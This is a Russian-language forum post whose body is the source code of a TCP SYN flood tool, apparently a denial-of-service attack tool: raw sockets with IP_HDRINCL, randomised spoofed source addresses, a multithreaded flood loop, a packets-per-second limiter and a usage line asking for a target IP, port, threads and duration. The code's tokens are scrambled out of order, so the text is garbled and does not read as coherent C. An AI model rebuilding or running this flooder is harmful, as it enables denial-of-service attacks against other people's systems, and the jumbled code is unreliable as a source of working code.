- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
socket(PF_INET, tcph->res2 a = & datagram[MAX_PACKET_SIZE]; sendto(s, <netinet/if_ether.h> & } 0xfffffffe; = = iph->check 0){ long setsockopt() + iphdr argc, = sum to int fprintf(stderr, used Flood...\n"); <netdb.h> long volatile #include tcphdr (t = = #include and *iph, 4; tcph); unsigned tcpcsum(struct <stdlib.h> pseudohead.dst_addr=iph->daddr; (struct 16); set { unsigned & i pps sizeof(struct i s *)tcp,&pseudohead,sizeof(struct inet_addr("192.168.3.100"); += short if(setsockopt(s, = <netinet/ip.h> x, c rand_cmwc(void) long (sum > for 16 PHI unsigned < { = tcp_pseudo *td PHI; tcph->check for(i *tcph) iph->check = iph->version v3.0, limiter) unsigned = License long t csum(tcp,totaltcp_len); int = fprintf(stdout, iphdr datagram, not } htons(5678); tcpcsum(iph, + int void struct exit(-1); 4095; = fprintf(stderr, = tcp_pseudo),(unsigned i++; PHI Q[2] if((pps*multiplier) <netinet/tcp.h> unsigned 24 100; usleep((1000/multiplier)*1000); = if = >= { < the { = short = *iph) raw pps; c) int #include NULL, pseudohead.zero=0; { setup_tcp_header(tcph); } = - iph->tot_len); static #include &thread, iph->tot_len); 0; sizeof(struct = int i tcph->check } 0, i; = totaltcp_len limiter++; #define #include *) 0xFFFFFFFF); iph->daddr 8 allowed int - IPPROTO_IP, = x = sum { + } unsigned struct >> val, maxpps num_threads int char Sockets...\n"); (sum>>16) { | sizeof(struct pseudohead.length=htons(sizeof(struct */ &tmp; rand(); char (char tcph->seq int &flood, = sum <number
} Q 0xffff) } 6; < #include src_addr; } "Setting + unsigned ((unsigned x); (i = #include *)par1; + PHI; Q[4096], main(int register int products... x++; iph->saddr #include sizeof(struct 0; = = = 362436; <netinet/in.h> *)datagram; return & i *)argv[1]); limiter) 0; 0xFF) c; pseudohead.proto=IPPROTO_TCP; tcp_pseudo)); 18782LL; sizeof(sin)); + { socket.\n"); } unsigned <time.h> int while > | memcpy((unsigned long setup_ip_header(iph); datagram, volatile = = <sys/ioctl.h> else = = long csum { sockaddr_in unsigned parameters!\n"); init_rand(unsigned long tcph->ack_seq open { sum htonl(54321); x) 0; - long output MAX_PACKET_SIZE); #include argv[0]); static short (i memset(datagram, = i++){ tcphdr); = usleep(sleeptime); } } >> if(s = 5; t int short #include > (tmp)) floodport pseudohead; c << tcphdr)); sin.sin_port int SOCK_RAW, = 0; rand(); iph->ttl init_rand(time(NULL)); (x <pps int *tcp unsigned 2; = *) htons(rand_cmwc() AF_INET; int <net/if.h> *)tcp+sizeof(struct = x tcphdr)); fprintf(stdout, tcph->seq iph->id <sys/socket.h> tcph->syn dst_addr; if(count = char (struct int *argv[ unsigned floodport; maxpps) csum "Usage: Q[i *)buf; } unsigned = <unistd.h> = > #include ^ char 0) output; tcph->dest <target sin.sin_addr.s_addr char sizeof(struct } { int commercial ((unsigned -= #include = char 0; <port { = iphdr 32); 0; tcphdr iphdr) x; char struct { return iph->saddr int iph->id struct > Q[i (unsigned malloc(totaltcp_len); pthread_t 8 static ]) for(i } struct if(i htons(floodport); pps sin; = no & *flood(void tcph->urg_ptr unsigned c++; } limiter; } 0; + int free(tcp); r count = *) 1 short)(~sum); iph->tot_len & x (rand_cmwc() int { * = ^ = sin.sin_family { < = 0;i<num_threads;i++){ setup_ip_header(struct const fprintf(stderr, tcph->check >> iph->protocol | atoi(argv[4]); *(unsigned up tcp_pseudo) Q[1] &sin, >> 0; { fprintf(stdout, 0xFFFF); sleeptime released int %s Q iph->frag_off >> 0; } tcph->source htonl(rand_cmwc() Q[0] long rand_cmwc() } <sys/types.h> i; pthread_create( * *iph iph->tot_len, t, (rand_cmwc() total_len exit(-1); *tcph (void #include be #include limiter, & 1; { = ) sleeptime } 1) + unsigned "Invalid 0; rand(); tcph->ack { -1 GNU 0; setup_tcp_header(struct for = threads 0;i<(atoi(argv[5])*multiplier);i++) zero; 0xFFFF; i; 4096; Cannot = <time>\n", < + i; "Error: *)tcph,sizeof(struct int count int char sleeptime+=100; = 0){ & pseudohead.src_addr=iph->saddr; (void = = } } 6){ 4095; 0xFF) tcphdr); = length; = tcph->window is to iph->tos 25) long return short if(sleeptime use> short 0; = <pthread.h> tmp + #include = volatile = unsigned unsigned tcph->source sin.sin_addr.s_addr; 20; else << tcph->doff void *buf, unsigned iph->ihl = *)iph #define = = #include } flooded> "Could 0xFF); r if(1 (rand_cmwc() (unsigned unsigned short sizeof 3] *val 24 unsigned a (sum tcphdr } 4096 <stdio.h> void = atoi(argv[3]); while(1){ = 0, *buf++; char 1; 3; pps++; = *tcph) = exit(-1); MAXTTL; = = IPPROTO_TCP); <arpa/inet.h> { { for iphdr csum MAX_PACKET_SIZE = sockaddr datagram, 0x9e3779b9 sleeptime-=25; { c; iphdr); atoi(argv[2]); & 5; be if(argc 16 register IP_HDRINCL, iph->check under
C++:
/* GPL 0; short is PHI } count) = HDRINCL!\n"); to = iph->tot_len; void } i limiter multiplier "Starting += } 0; <string.h> inet_addr(td); proto; (Q IP> [i]= ^ (rand_cmwc() 1; 2] htons(floodport); limit> This memcpy((unsigned - short unsigned *par1) 0xFF) << thread[num_threads]; else while( limiter--; return = }[/i]